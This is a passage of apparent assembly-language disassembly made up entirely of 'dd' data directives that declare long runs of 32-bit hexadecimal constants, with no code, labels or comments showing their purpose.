		dd 2047607h, 5FF6DEC6h,	79699227h, 585D42A8h, 0AC3C76E1h
		dd 30735EA5h, 1E2B889Ch, 0CFE6CBABh, 1E60F4E8h,	9212738h
		dd 2ABFA8D8h, 15327D4Ah, 0CA8A1DE9h, 8D60301h, 95D40A5Ch
		dd 7E591653h, 36E590EDh, 9E817180h, 8D15F94h, 88DAA277h
		dd 111E4A7Fh, 569C26FBh, 4ED304B8h, 0CBD8B998h,	0A31AF5A8h
		dd 5784D168h, 0B571217Bh, 9848B886h, 2A3ABC84h,	0FE0CBA86h
		dd 6B7323BEh, 8497B98Bh, 0CCBEC418h, 0E4CDF459h, 0CD320F8h
		dd 23278889h, 30A6DC80h, 0A321EC84h, 0B08122FDh, 3ED27988h
		dd 0FDA5E8Ah, 0FE5A0D1Ah, 9DE402FBh, 0F2613728h, 1A20B7CAh
		dd 16E2B162h, 25EEB07Fh, 2F622070h, 0BC5E38CEh,	8C204A2h
		dd 33F3F4B7h, 0B46A1094h, 0E426F09Ch, 0BE201098h, 31E1309Ch
		dd 6163B2FCh, 0DFA67F8Ch, 0C8BE138Ch, 0C9C2031Ch, 0ED720B5Ch
		dd 0E86771Fh, 1ABE115Dh, 29C81065h, 3C2B1210h, 4E0477C2h
		dd 0E0F6DFA2h, 38E99313h, 321D435Ah, 0F21C771Eh, 9A635F5Fh
		dd 2A238964h, 84E2CA51h, 8CE2F513h, 6AE626C3h, 5EDE2922h
		dd 24C23CB1h, 0A923D16h, 0C7DA72FEh, 0D45213A3h, 241813ADh
		dd 4D051313h, 0C490B77Eh, 3AD93F6Ah, 70DEB309h,	0CF1C4341h
		dd 6A9B3B65h, 2ED28376h, 0A1D8F96Eh, 931AD452h,	4F84A014h
		dd 0C97138C6h, 4248BCA6h, 363D4296h, 0B20CBB9Ch, 58732282h
		dd 0B817B805h, 3D3EC559h, 0C64DF579h, 0E8D32188h, 81E78981h
		dd 96C6DD84h, 8EB1ED86h, 20923FFh, 4356788Bh, 0ACD85F89h
		dd 0B1150C19h, 864583F8h, 9CD1762Bh, 915896C9h,	897D4061h
		dd 0B3E0A97Ch, 86232573h, 39BEB7CDh, 0CBB2C4A1h, 0F36A15B4h
		dd 41E60117h, 77A0F9DFh, 0B4A11DBBh, 83E1B3E8h,	4D6271B2h
		dd 2FA611ACh, 5ABE0218h, 0F1C20BC3h, 0C37217A6h, 66867116h
		dd 48BE1141h, 91C811E3h, 602B1324h, 8204765Fh, 6DF6DE6Bh
		dd 206992E0h, 0C5DD42A4h, 337C76E7h, 0DC935EA7h, 0D8FB889Eh
		dd 0F7CECBABh, 0BB54F4E9h, 5A9F2739h, 92C2A8D8h, 44D3FD4Bh
		dd 0A59B5DE9h, 545EE301h, 4610DA5Ch, 88FB0E53h,	0E31284EDh
		dd 2898FF80h, 0A6DD1294h, 0FADC8077h, 431339FFh, 0E29ABDBBh
		dd 9CD2C2E7h, 3FD8D9B7h, 7F1524AFh, 0EF84B81Bh,	0E5713CDEh
		dd 6C48B2BBh, 3C3D438Ah, 0A40CBB81h, 5373233Dh,	5A97B94Ah
		dd 3CBEC479h, 0EACDF40Ah, 0D9D320C3h, 0DFA788A6h, 0C766DC95h
		dd 6881EC9Ch, 3CF12280h, 27CA7986h, 0A5565E8Ah,	6A9C0D1Ah
		dd 43C102FBh, 2E53B728h, 53DB77CAh, 537ED162h, 62A0E07Fh
		dd 7DC30870h, 0AAE84CEh, 0D6EAFEA5h, 0CBC613B0h, 66500193h
		dd 5C59F81Bh, 0E63D9C5Fh, 49E072FCh, 0C56311ACh, 73A680B4h
		dd 24BECA00h, 27C217DAh, 0CD7201BFh, 0A686780Eh, 0D8BE1C45h
		dd 0E3C81299h, 0CA2B119Fh, 2E047084h, 0E4F6DE00h, 0A9E993C3h
		dd 779D43A3h, 0A15C7712h, 20835F45h, 96F38959h,	55CACB5Ah
		dd 0EB56F511h, 0C29C26C5h, 0ECC12927h, 0ED3BCB5h, 0F69B7C17h
		dd 6ADED2FFh, 0BCD0E3A2h, 55DB0BADh, 0D8A28713h, 48E0FD7Eh
		dd 0CCC1106Ah, 0CAD28209h
		dd 5B1A3BC1h, 1E9E3FA5h, 86D00116h, 3DB3A3Dh, 431AB369h
		dd 0D484F0F9h, 45F11131h, 0DFC8812Ch, 79BAB9D1h, 118CBDBFh
		dd 69F32392h, 2817B89Dh, 373EC582h, 0ED4DF51Bh,	6ED321D9h
		dd 0D06789B9h, 0FA86DD88h, 9811ED80h, 8DF923FCh, 960E788Ah
		dd 0DB45F89h, 0F50F0C19h, 0E7CA83F8h, 0A917F62Bh, 937956C9h
		dd 904DE061h, 975B597Ch, 0EE5F4D73h, 20A3CDh, 64E3CEA1h
		dd 0E7C2ABB6h, 9652C417h, 0CE5A1E5Dh, 5E3E0D79h, 27E03ACAh
		dd 4D633D23h, 0E9A6B3F4h, 0F8DBB726h, 70A178BBh, 2D076E70h
		dd 268679BAh, 59D054A3h, 5A97AF8h, 0EF4E6AEBh, 137018EFh
		dd 989ABE78h, 161DF1BCh, 0D55D2CD6h, 8BD23308h,	0E7F02C25h
		dd 0FD22FC35h, 0E065A73Bh, 68E18072h, 0C1AD27ABh, 801CE426h
		dd 62EC18C2h, 0BBACE97Fh, 419CAF9Fh, 0B9B11EC0h, 29DFC6C2h
		dd 20C52F12h, 0A287992Ch, 18A6F70Ah, 1AD2CFEDh,	0C77F5380h
		dd 87FD60C8h, 0E1B96C6Bh, 19DB3FA2h, 377FF767h,	0D2E09CB2h
		dd 0D837775Ch, 0E906E7C0h, 8C7BDF7Ch, 4E0CBE5Ch, 2F12430Dh
		dd 4FFBD754h, 30BEBA25h, 8DBFB7E5h, 0AAB65557h,	5342E547h
		dd 0B256ADB2h, 0A7A08AD0h, 52612393h, 28CE0CD8h, 57772BF1h
		dd 0F2FC6369h, 27CA03F9h, 0B582464Ah, 1CD641ACh, 0F2B19927h
		dd 0A853517Ch, 0F5FA1C1Dh, 69A7C89Bh, 0A8B6AFEEh, 0E7494ED8h
		dd 34E6CB97h, 741179F1h, 0C4AC717Eh, 4095EAA8h,	4D6F7859h
		dd 86CCD6F8h, 0EDF7A453h, 0FEAECD82h, 0C073C5B2h, 67F672E1h
		dd 34ED69F1h, 6A672CEh,	0B02B0C4Bh, 1D6820D9h, 0CCF6A05Ch
		dd 8A87DAE8h, 0FA713054h, 0FBF91DAFh, 0EDC02667h, 6324E62Ch
		dd 8232CB22h, 15EB912Fh, 0A4C76A86h, 79B95050h,	9B6F3DCDh
		dd 0B34BD86Ah, 0AD9A478Dh, 5E6072E2h, 305181ACh, 0E61B1E73h
		dd 90B18D0Ch, 4D3B6B18h, 4DAE0F08h, 0D3888025h,	95CA6B97h
		dd 8C2ADF45h, 5A1FF3CFh, 375D3206h, 0CB9AA498h,	3168DB56h
		dd 3C21892Dh, 0DC51F105h, 9A79AE2Ch, 4B73B832h,	68FD38EDh
		dd 42D3BD1Eh, 82A18AA1h, 83E4979h, 5E6675EFh, 44A99C13h
		dd 0DB98ACA4h, 2D6963C6h, 39E32B35h, 4E5C3600h,	81FD783Ch
		dd 9E3EE183h, 1F550577h, 0DB916C5h, 0A1D9E906h,	1C183B10h
		dd 3CFB121Ch, 59AEBD82h, 0B6F1BCC2h, 9ABAC7B4h,	34A52765h
		dd 1A981EB1h, 0C7AE403Bh, 561EE8DAh, 4D2B0579h,	8CF0D4FCh
		dd 0C9D5B243h, 6FA54D9Bh, 0C3778573h, 92E16C4Eh, 3ED48AA6h
		dd 19C983D8h, 0C04E0F32h, 3683493h, 0BF85557Eh,	0A1CE982h
		dd 549C35D5h, 0F6FC748Ch, 8736556Ch, 6538E651h,	0A57BAF8Fh
		dd 0DED9CDAh, 0B3F242F6h, 0F878A858h, 0E04BBAC9h, 7368B25Bh
		dd 98B4D99h, 0E70D14C9h, 3527DEADh, 0EA1D1F7Bh,	94998612h
		dd 259AFD19h, 6D0C26C4h, 0F2DDA661h, 8B1383A5h,	0DE45E327h
		dd 2D3FB299h, 2F4A722Dh, 0A7FAED9Fh, 0D6094932h, 69207CEEh
		dd 0A97491E5h, 0A3721A65h, 173F043h, 7DCB0480h,	58DFB83Ah
		dd 9E88FF94h, 0EDD32C75h, 0F9C3212Fh, 6789B210h, 3EA4A198h
		dd 77112232h, 1D51F08h,	4C75311Fh, 0BDF04936h, 39CB03E3h
		dd 3A10D173h, 502A93ABh, 36C4F52Dh, 6443417Fh, 54E7101Ch
		dd 50AFB1ACh, 0CC9398C4h, 9E215EC1h, 387041EEh,	6BD10D7Ch
		dd 0B31F33AFh, 758B93B8h, 2864346Dh, 80FE9CA3h,	960DBE58h
		dd 0F2A5CB99h, 711631C1h, 0AAE6BE4Bh, 2FB16CC3h, 42A72EACh
		dd 0D64BE979h, 166128B0h, 0CEF12A7Ch, 9C99CBEAh, 66F8145Eh
		dd 3ABF1D3Ah, 0E54321A3h, 193FCA2Dh, 0BC69AE81h, 1EE782D7h
		dd 0B8D16F8Ah, 78924457h, 4EEBDCEh, 4717986Eh, 36D76ABh
		dd 0FD14E1C9h, 85FBBD9h, 8A7A6E61h, 9EA4A37Eh, 111E6005h
		dd 7659FC6Dh, 0DEC7D1A3h, 9F06994Ah, 8C08A016h,	7F1FA8DFh
		dd 10493D75h, 0CE8F9E94h, 5E2CFE56h, 0AF2C2840h, 0EC3F95E2h
		dd 0B37E3C3Ch, 3E20BC21h, 77F1118Fh, 36BEAD57h,	80BFDAE3h
		dd 1365B54h, 0B79006CAh, 74C7BAF0h, 13D1EA1Dh, 497C4EA7h
		dd 7FB2B00h, 4A5F3608h,	0AF8B0C71h, 9E1DE489h, 0C9ED8474h
		dd 700BBAA5h, 47CCD823h, 737F787Fh, 2C62D33h, 44ACF5FFh
		dd 0DFF7CACDh, 9DC8ACB4h, 5C55C517h, 0EDF9F5Fh,	0B07D4CFBh
		dd 34839B88h, 41334C00h, 0E08EEBC4h, 0F74AC42Eh, 19D42FEBh
		dd 4E790431h, 0A785FFCFh, 7FB15C23h, 19C973CCh,	0AF2AA022h
		dd 680449EDh, 0FBF12B33h, 7F6984EDh, 0ED5D47B3h, 753C740Dh
		dd 0C17321C2h, 6EAB891Dh, 0BA26CBFAh, 2880F4A1h, 9EF268BEh
		dd 9B599A01h, 15AE11A2h, 2A215A1Bh, 0A4973B1h, 0C418FDD2h
		dd 1B4E82C9h, 0E578157Eh, 8EA3890Eh, 6C9DF70Ah,	1F83A2ECh
		dd 0F8649480h, 8A3ABB6Ah, 0C3453D29h, 5F658A97h, 0A325817h
		dd 0D59D9B99h, 0FE1B615Ah, 0DD2BEADEh, 0C7E5862h, 8B0A7FDCh
		dd 0D116B44Dh, 53EC0E9Bh, 0ADCD8D5Ah, 80A3F9A6h, 0D2D34A5Eh
		dd 6B483D2Ch, 31C8ADB7h, 744B849h, 596864B6h, 2E927878h
		dd 6373113Bh, 9AA45836h, 54CC6F81h, 0B6A76111h,	9A5DD3B0h
		dd 3BF2C309h, 1D33701Ah, 46E73572h, 70BEBC9Eh, 0C881B9C0h
		dd 0AA4F2DB4h, 38F4E0E5h, 6997EBFAh, 0B3691DFEh, 749BE398h
		dd 204A3B1Dh, 9BE0B9ADh, 0F32FA44Dh, 0DED4AFE8h, 0D702ADC8h
		dd 0E7E0EDE7h, 80B14C67h, 73A02DFCh, 2C4A295Eh,	56139AFh
		dd 0E2F12C31h, 96BCE998h, 0F0732E44h, 561C74CDh, 861340C7h
		dd 13C2EC7Fh, 0D122CBA7h, 18E7BCADh, 0A7D3639Bh, 6995A45h
		dd 9D6E3DCFh, 3ED45C7Eh, 76501F94h, 0F78192A0h,	3743B3C8h
		dd 0E21A3377h, 0F9CE8511h, 22114E6Bh, 7ADD4878h, 0B1457425h
		dd 992A9764h, 0F6500307h, 1E0FE38Ah, 22550E13h,	0CB96B885h
		dd 450FE05Eh, 4845CF4Ah, 405A5050h, 0F168FB99h,	0C207B141h
		dd 5FF40EAEh, 0A3CA835Fh, 0E3CD8987h, 36216D33h, 190300CDh
		dd 0F523B37Bh, 2231EA5Dh, 0A148518Eh, 7DF51779h, 94385F76h
		dd 8AC67813h, 0BA28F19Ch, 6C7D2264h, 9C5AF7A1h,	0A66C4003h
		dd 66477D7Fh, 2CE21734h, 70CCD7CDh, 0D7B2A7CDh,	84AEFBC0h
		dd 4CD42062h, 73679ADFh, 0DC6F3CCFh, 55E08E8Bh,	183B5430h
		dd 87EB8782h, 9729B65Eh, 7EB65694h, 0AC1FF04Ch,	0AECF927h
		dd 10C35917h, 3EC963ECh, 0DD782C37h, 13612196h,	0AC9C4463h
		dd 152FF6AEh, 3C8922DEh, 3F7C11E0h, 41F66682h, 1C1AFD2Eh
		dd 647EBEBEh, 3A1B92C7h, 0ECAF27E9h, 973CDC55h,	0EC7B98A3h
		dd 9F85386Bh, 714AA4F8h, 35FA2FE3h, 3143A0C9h, 0D5170B60h
		dd 0F8C99C0Dh, 3380DE6Bh, 7F0C25E4h, 0D06D3E74h, 82D3CA2Ah
		dd 0DF2148E7h, 7F4B9352h, 265A2001h, 0C98386B8h, 0B16E053Ah
		dd 7C2148E3h, 25491AF3h, 4F63F0FDh, 2007BE5Fh, 46F101BDh
		dd 3CBE955Fh, 0FBFA0E8h, 0D9BD6B55h, 13C90644h,	0FF08BA3Fh
		dd 16F39E2Eh, 8002459Ch, 298A780Dh, 0A5422D23h,	944D6019h
		dd 546A6C83h, 877B610h,	0C05D04ADh, 0C334BC06h,	0D56131Ah
		dd 1A854972h, 47BBCCBFh, 0D69626E7h, 0BB4FEAB4h, 384710F2h
		dd 745EA77Bh, 0B349F83Fh, 756BEFF8h, 2264264Dh,	85EB9D9Eh
		dd 81399941h, 0F5B4E602h, 71132817h, 15845F6Eh,	49F75836h
		dd 1E990E88h, 0CD5F3A3Fh, 7C045795h, 2B947C36h,	5380CC8Bh
		dd 359D4657h, 5B39274Dh, 62E74F27h, 61ACF0Bh, 2B0ACBB7h
		dd 7A76F4D5h, 0AB2C27A7h, 7EB92817h, 4ACFBDDCh,	0BF957D22h
		dd 3557D3F4h, 4F9462A6h, 0ED39CAADh, 0F2756612h, 1BC96C7Eh
		dd 5C75596Bh, 6628AF08h
		dd 0B50544C0h, 0F9AFA7A4h, 8D294417h, 1E8799BFh, 42F4452Bh
		dd 0A7D5E9D9h, 319985A1h, 0C85C4F94h, 6C3354BDh, 120BAF8Dh
		dd 0FB72A83Bh, 6498F7C9h, 0DEBF2438h, 79CD85E9h, 94533930h
		dd 0DE67DBDh, 8806C392h, 3DA1D5ADh, 92C960B2h, 0D7E1E35h
		dd 0AD2428FEh, 6A4F808Ah, 4A221BB8h, 4D4B3533h,	0B91F8F8Dh
		dd 0D255A81Ah, 631E8368h, 0BFB3E150h, 71FE49C5h, 4FCB9B9Ch
		dd 0F5FE0783h, 0E5660326h, 586DD46Dh, 0ED649h, 575189FAh
		dd 2491D592h, 3FF47906h, 6C5C0074h, 27E91E4Dh, 0C6A378h
		dd 0AC7C4C59h, 64AFC669h, 6100FAD9h, 6C32D069h,	0C60811C7h
		dd 10F70F36h, 615AB7DDh, 0AC6FAB80h, 9D8F3E3Fh,	0DB819D70h
		dd 4EF89A6Fh, 5F4597E9h, 0DA9B7B62h, 130E8E56h,	1A827845h
		dd 0F7F88EDFh, 0FDA39499h, 6A6C8304h, 23A1B6F0h, 0F50D148Ah
		dd 8E41E55Fh, 0C5FC4446h, 6AC04759h, 6BDDC1BEh,	0F6D0D0B4h
		dd 6FAA77B1h, 0A4665831h, 2E239370h, 5182F49Fh,	0E20DFFA0h
		dd 0D9B328B9h, 0C1EE43BEh, 4E4F21BEh, 141249BDh, 0FA418205h
		dd 4FAD1CF4h, 0A3867D04h, 0F9F2F4D4h, 7CE9490Dh, 0D019FC10h
		dd 1D18E4ECh, 0FDDF1683h, 0C0DEF8ACh, 50C2610Dh, 0B1D25B43h
		dd 126F78CCh, 0BD02398h, 37529141h, 9D105A47h, 256ADFCh
		dd 561A0E1Fh, 0CCB7465Dh, 0CFB96C5h, 0B2CF859Ah, 5F7A3A87h
		dd 0D5A1F2A1h, 0B54A00ABh, 7AFA962Eh, 144DEEEEh, 8B1979AEh
		dd 0A536AD8Eh, 0D33995B6h, 0E71CC42Ah, 1391436Ch, 9B1A892Ch
		dd 0F3B3A96Fh, 220126D7h, 21008462h, 7F3F32D0h,	0E7C28D00h
		dd 0DED063D9h, 0AD2AC105h, 6DAA0FFAh, 399B7414h, 19FA4C75h
		dd 71CA959Ah, 0F0D26CA5h, 2DAB83Bh, 0B098F77Dh,	2DFBE95Dh
		dd 0D4AB4AD6h, 9C63062Bh, 0BBABA2CDh, 1101778Eh, 0CE4CB556h
		dd 0B6F15449h, 8A4F2655h, 0F8928E31h, 68FF127Bh, 0B3B5C0DEh
		dd 0AAE3E50Dh, 8657275h, 92636118h, 0C218A165h,	963B17D8h
		dd 8C2B6B8Eh, 45AD4AB6h, 0F31D34B9h, 84387100h,	3CB16AF7h
		dd 39891E05h, 16F2C8D5h, 4468F70Ch, 4C5B9891h, 4BFDA42Eh
		dd 0EACD34E1h, 82D45F9Eh, 167B0A88h, 7CADAA3Bh,	2884CFE3h
		dd 0D6CE6DE7h, 99561984h, 0AC19B62Fh, 0A05F89C3h, 871EAF1Dh
		dd 0B6BCCB53h, 80F1AFCDh, 19C5F090h, 76CE038Ch,	81D40854h
		dd 0A89FF5DFh, 45EC820Bh, 1BC3B698h, 39DB3AA0h,	3E52620Ch
		dd 96B1D8F2h, 6A421C0Ch, 517A031Bh, 5E0B9363h, 9DBD3C4Ch
		dd 4702DBC2h, 7906751Ch, 0E73CA9D8h, 0BBC7C302h, 27556EDDh
		dd 0D0EFF480h, 0E6CF13BFh, 39619330h, 41E9750Eh, 7D4DEB59h
		dd 101F8BCAh, 26B0A202h, 5D632BFFh, 2A294C12h, 0F38C06FFh
		dd 411FDE51h, 66BFD2C9h, 0E800CA87h, 440AC59h, 42FDA945h
		dd 54C13A58h, 855BC1BFh, 3B91BE35h, 0A4A82F1h, 7B40D13h
		dd 5A869462h, 3E7BC7EAh, 9F6069h, 79F1C8D7h, 25472F00h
		dd 8CAFB67Bh, 9B093DD4h, 3ED11Ah, 0A2BDD2C5h, 4D839E03h
		dd 83F9E6D8h, 24E2DC04h, 2B90171Bh, 0D1D61265h,	0F7F6A3CAh
		dd 5CA6C605h, 0D46DCBDAh, 64A9960Dh, 328FCBE7h,	8B44D264h
		dd 0A91F5CC9h, 383CF204h, 13A8D2D4h, 711AC02h, 0F6BF4268h
		dd 0FF544CAh, 36CC4E97h, 7375B88Ah, 1F2E0FAEh, 2085B824h
		dd 0D257C8E1h, 93313B82h, 0BCCD8AB2h, 0BF57E43Bh, 0F122A1F7h
		dd 36842C01h, 0B756F492h, 273004A8h, 5F484926h,	0FB108FFFh
		dd 0EC056619h, 6F3336D2h, 3CC9C70Eh, 0DEDB20D0h, 0A5A1490Eh
		dd 7FE08870h, 477E10DFh, 0F9EFFE10h, 147174Fh, 771319D8h
		dd 8BBE6631h, 0D8F14E7Dh, 0EC6410D8h, 0E7613111h, 8002E34Ch
		dd 3BC0CDBh, 0FD0FA8F0h, 3949831Ch, 3BF18C69h, 0B34B5240h
		dd 0EC10AF4Dh, 9CBAD2B2h, 0FF50653Dh, 35B68178h, 90880A58h
		dd 5A4C59E8h, 0F729EF07h, 868784E5h, 0C6617186h, 8DB9A73Ch
		dd 6907E9F2h, 0E7BCFF6Ch, 8779EDCAh, 6AA77A01h,	908841DCh
		dd 13FC1803h, 2F187E9Eh, 1B947BA1h, 3A13EC2Eh, 1DB26CF1h
		dd 0D066C1D2h, 0F2AD9809h, 0A82F1E9h, 0E1CD22E4h, 0F8D05600h
		dd 6F5DC4E9h, 0E7B937A5h, 1F08150Bh, 24B262EDh,	0ABF3A504h
		dd 27CD16F0h, 0FDF50599h, 776F9897h, 0A1E59DA8h, 3C473DA7h
		dd 9039AFA1h, 17C917C3h, 52549632h, 68A04DF2h, 0EC6B902h
		dd 2737AE12h, 48213BE9h, 60468007h, 7A921FE9h, 1540EA07h
		dd 0F317B2E9h, 92C19807h, 0D1D4E7D6h, 4B23CC88h, 0CE244E36h
		dd 62756F9h, 96180D26h,	0D8596341h, 5B1EDADDh, 0EFBAF631h
		dd 0AD726DFEh, 75A6629Ah, 31425933h, 1E30097Eh,	0AB4792D1h
		dd 14103477h, 0AF4464DDh, 12F3000Bh, 92C84C73h,	0E7D31446h
		dd 3F586435h, 2962CA7Dh, 778C4959h, 8D76F24Bh, 4B6F71F2h
		dd 7795DA16h, 0F77A59D4h, 668CC00Ah, 2F846EF1h,	52728A1Fh
		dd 2B2E4771h, 71391ADCh, 0FC48CD73h, 1F9768DDh,	0A4FBD40Bh
		dd 0CE926C11h, 405A68ECh, 1838E702h, 0BC8F14EDh, 0DC1642A2h
		dd 97B9D70Dh, 1E8BA2ECh, 944AFF62h, 0DFA98F46h,	0F9444A90h
		dd 608F568Ch, 0D309E43Ah, 0AFBFFA68h, 0D3F8F34Fh, 0EBC778D8h
		dd 787839E0h, 0B1A4CC95h, 0A6CEB227h, 543C1D6Eh, 2E29B14Bh
		dd 21CDFCDBh, 0B5BDE23h, 0FE2836C7h, 0D7089E02h, 6A1EA29Bh
		dd 44DFE624h, 305164E9h, 17116096h, 0C285370Dh,	0A27579EEh
		dd 6B330607h, 70CFCBD3h, 1DADD809h, 0C63CEF6h, 8C07C998h
		dd 0F3090937h, 4151CD78h, 0D51C00D7h, 63BE6531h, 0A4F7EB7Bh
		dd 3CEF475Dh, 0BE255B55h, 0C3278D69h, 0D648C0AEh, 0B21766BCh
		dd 4746CABBh, 77F0E138h, 0E947607Ah, 5D93E542h,	0B278C8B7h
		dd 37736DBCh, 3A8401B9h, 5F73533Ah, 0F46C86FBh,	491AEB13h
		dd 873B89D6h, 80ACE58Dh, 0B59422B2h, 0F5FBCD3Eh, 85692741h
		dd 0D0D8A3D7h, 0A45C3F74h, 689D9ADCh, 0BDFCBD09h, 0C010ED91h
		dd 61144F2Dh, 0DE58B163h, 999EB0DCh, 0AF1F26ABh, 0CBE8A08h
		dd 0AD8936EAh, 85C94AE1h, 8E518687h, 79BACAFh, 53809C82h
		dd 957E69BDh, 0D193D16Ch, 44C6715Ah, 0D9C6CDABh, 2CF842A9h
		dd 0F7E56BB1h, 2128A4B4h, 6A2DB836h, 236376h, 0A7CA6DD6h
		dd 295BFD29h, 0A0AEE6C1h, 0D14F6A06h, 0D8F8111Ch, 1ECF1464h
		dd 8ED97FC9h, 20D59886h, 88EA0938h, 70F72BEFh, 3AE6420Dh
		dd 0AAEFF8DEh, 4517F485h, 0FC963BBAh, 971743B4h, 6034DB4Bh
		dd 0A4A4447Ch, 0E60CB3DFh, 7EBC8E3Fh, 437A8EF6h, 4023FF11h
		dd 7E086979h, 0E9DB5414h, 3E5DC06Bh, 97106CD5h,	5D4B9A82h
		dd 0A7FABDBAh, 75CC2AB5h, 4256C0ABh, 5D1C41A3h,	3A86B1A0h
		dd 9D9A89A0h, 0B079CB42h, 0D76C0DF2h, 0EB9C8D12h, 23FC93D2h
		dd 3BCAA10Ah, 0B0627175h, 0C4A2A85Fh, 59841E50h, 0C7CFBDAEh
		dd 0D2D51338h, 4ED93EFAh, 0D5DF3E1Ah, 871E0C69h, 3E1C5120h
		dd 75627FDBh, 0A8A218E2h, 141211A5h, 82B21706h,	888651E6h
		dd 5E464D6Eh, 0BF1EA3C8h, 3B48880h, 4B9F941Dh, 0C4F8BFEAh
		dd 6D668A11h, 80D50A65h, 83B03723h, 0CDE0616Ch,	0F7EB4752h
		dd 62C3047h, 7E2EA23Ch,	0F321F470h, 0E7CB89D5h,	6C59B724h
		dd 0EC2F5BC4h, 0AE8ED504h, 0ABDEAC9Ah, 8F7F8AA4h, 6A20B7A8h
		dd 61C853B7h, 0CEE555B1h, 766F5E2Ah, 0D7A9A56Ch, 898BE4CFh
		dd 39048CBEh, 679F26B7h, 901EC6B3h, 0CD38C446h,	59A97373h
		dd 2901E6D1h, 0D5B21331h, 3FF46078h, 6E6DDFDFh,	66E66397h
		dd 15C4B40Ah, 0EADA157Ch, 0ED5A53C6h, 88675BB2h, 0A5FB4B3Bh
		dd 0C6C8DEFFh, 0A9513A85h
		dd 6F1A6797h, 0D8A01C01h, 1FA1339Dh, 0AE706548h, 6862ACFDh
		dd 0DD13AD1Dh, 6B0BADEh, 0E0E76786h, 4A7EE138h,	73A14D74h
		dd 7C846D2Bh, 0B8C9A362h, 505281D9h, 0E51E138Ch, 6D39BA17h
		dd 0D328216Bh, 0F9226024h, 4B240661h, 0DB8661DBh, 0EE19A1AEh
		dd 0FFB86A0Ch, 0C48DEAEDh, 0A9CD92E5h, 0B2D5AC03h, 0CFD8376Bh
		dd 0F6309E1h, 49AD5BEEh, 1A06D618h, 75CF556Bh, 11B537A0h
		dd 0C5EB2D27h, 92E6B57Eh, 4123615Bh, 0D624CD49h, 971340EEh
		dd 87F89BE4h, 0B95A9926h, 60AF85C4h, 48CE5A04h,	0EBBEA81Bh
		dd 3F6EA0E4h, 5C2A4C8Ah, 0EBCE2225h, 4AE45AEAh,	43E3DD19h
		dd 7C67646Fh, 6AA76DCAh, 817F2EB1h, 8D8DD7BFh, 9D177EB8h
		dd 403B4F43h, 8EADC276h, 5E04C1D4h, 0DFBBB337h,	60720EFEh
		dd 5EABA899h, 0D8C1A9B1h, 273023Dh, 831B35FDh, 907F67FBh
		dd 5160EFB9h, 0A50B8AB3h, 6ADD5535h, 8E5C3FEBh,	1A1E5882h
		dd 0D2990090h, 4C985BA8h, 0CC787C45h, 66C09F0h,	69D0913h
		dd 9B7D28D3h, 0ED0B9F0Bh, 0DF4556F3h, 71930E9Eh, 47DAF31h
		dd 5EEF3382h, 3DEA86FDh, 8657BFFBh, 0E8127713h,	3A33D867h
		dd 0FE27FB2Ch, 51A4F8Bh, 5FBE10E1h, 2D1C0BA4h, 0F7B30606h
		dd 89B6B636h, 0ED76F05Fh, 529DED4Ch, 8BF07744h,	0D97B1AF9h
		dd 0EDADEA9Eh, 8A0BD01Ch, 0CCC4F764h, 0F2BF6A28h, 28E212EEh
		dd 98EC5214h, 0E429B060h, 5E2F234Ah, 4B27CC7Eh,	1BCC23D6h
		dd 0D45E0421h, 62867C2h, 0B109F203h, 0B59E649Bh, 0D21F5924h
		dd 4530D768h, 56C016D7h, 0DE164E1h, 0C26CB113h,	0F3297163h
		dd 0CB4E49CBh, 3F66B7BFh, 0FC8D8EB4h, 161BD8B0h, 0ED31934Bh
		dd 29A21A7Eh, 1D0DFADCh, 0EAB0B03Ch, 0AEF90F75h, 0EEE03E52h
		dd 0F5ABFCDAh, 72692127h, 0BF265F40h, 214E1AC2h, 98675CBAh
		dd 0D80D5935h, 23D8B971h, 125119CAh, 0A7129BFEh, 0FC951094h
		dd 1B9477A0h, 3377E44Bh, 0C063A1FEh, 8C13D51Ch,	0FA33D9DDh
		dd 1725D785h, 815C92BAh, 6D937CB7h, 0C271A509h,	47D8CF7Fh
		dd 695382CFh, 0A1905AFFh, 0E0764216h, 0ABC73C63h, 0B63C4D28h
		dd 35207B6Dh, 7F8E20D7h, 611B31A2h, 0B9B5D100h,	0B8813BE0h
		dd 85C0C4E8h, 0E65F2D8Eh, 0D31D2B28h, 0A5466EC4h, 8198889Bh
		dd 167AB515h, 60D7536Bh, 0CEB3CEA6h, 44EF36A2h,	24E13639h
		dd 0F824B47Dh, 0AA22D75Fh, 5B2A204Fh, 85C1CBD6h, 0C753AE2Dh
		dd 0FBA5C2CFh, 7D44560Eh, 0E0761816h, 8E07156Ch, 5308B40h
		dd 14CC5ACFh, 0C8EB5891h, 0CADEB516h, 83DDFDA0h, 975B1DFFh
		dd 935343BAh, 7C700AB1h, 6603A0B5h, 0B53BF74Fh,	0DA7647Ah
		dd 0C309ABD8h, 1BB4A038h, 5E7C1FF1h, 6924DE16h,	758F74FEh
		dd 0F21DAD53h, 3F3ADD4Ch, 894541C2h, 5866FBBFh,	680140B6h
		dd 0DBD54DBCh, 0F2522526h, 0B71EFBE2h, 4990080h, 1F987FD0h
		dd 5D7A6809h, 896FB3D5h, 9CA61E3Ah, 3C60CD1h, 0C7700B3Ch
		dd 60997649h, 11BE90E3h, 7848512Ch, 0A4EB3372h,	7EE486F5h
		dd 0C9E6D6CFh, 7C619623h, 55E14054h, 0BF02791Eh, 75925F5Bh
		dd 4E7A08E1h, 3D0E0B94h, 0F3741436h, 0EFAF37D6h, 0DC7AB05Eh
		dd 1A2FF1F8h, 0D7055330h, 0A96FE2EDh, 95A85ABAh, 0A47CE10h
		dd 44EC645Ch, 6285EF1Eh, 30D79A5Bh, 78D84CE0h, 0AC1DDB34h
		dd 0FE1C6E6Eh, 0B1368F2h, 0DFF8972Dh, 226ACC73h, 571CD5E5h
		dd 29BD274Eh, 746AB8E3h, 2A0BBDB6h, 3EF43B0Fh, 6AECE2FAh
		dd 2FD998A9h, 3D5FB528h, 6B9D7D50h, 0AF3BDDFCh,	7D726B8Bh
		dd 0B48CA81h, 3FB6E484h, 0E148AF7Eh, 6FB53A4Bh,	5837BCE9h
		dd 0A40D4309h, 0F6099A40h, 897742E7h, 9DA9682Fh, 225C572h
		dd 0C70F6F65h, 0A175448Fh, 1057A783h, 483E4C06h, 3BEDE9C7h
		dd 726B673Eh, 2F2768EBh, 0BCA0D5B1h, 0ABA1CF6Dh, 8F43A2F2h
		dd 0A56668Dh, 0C3261E0Ah, 63860C59h, 0D7500B78h, 7889766Bh
		dd 95B690D0h, 0BE4C5125h, 85E93376h, 0E6786F7h,	412156CEh
		dd 0F281D623h, 0F8CC050Bh, 94E21438h, 0CBA7DB29h, 0E51A5694h
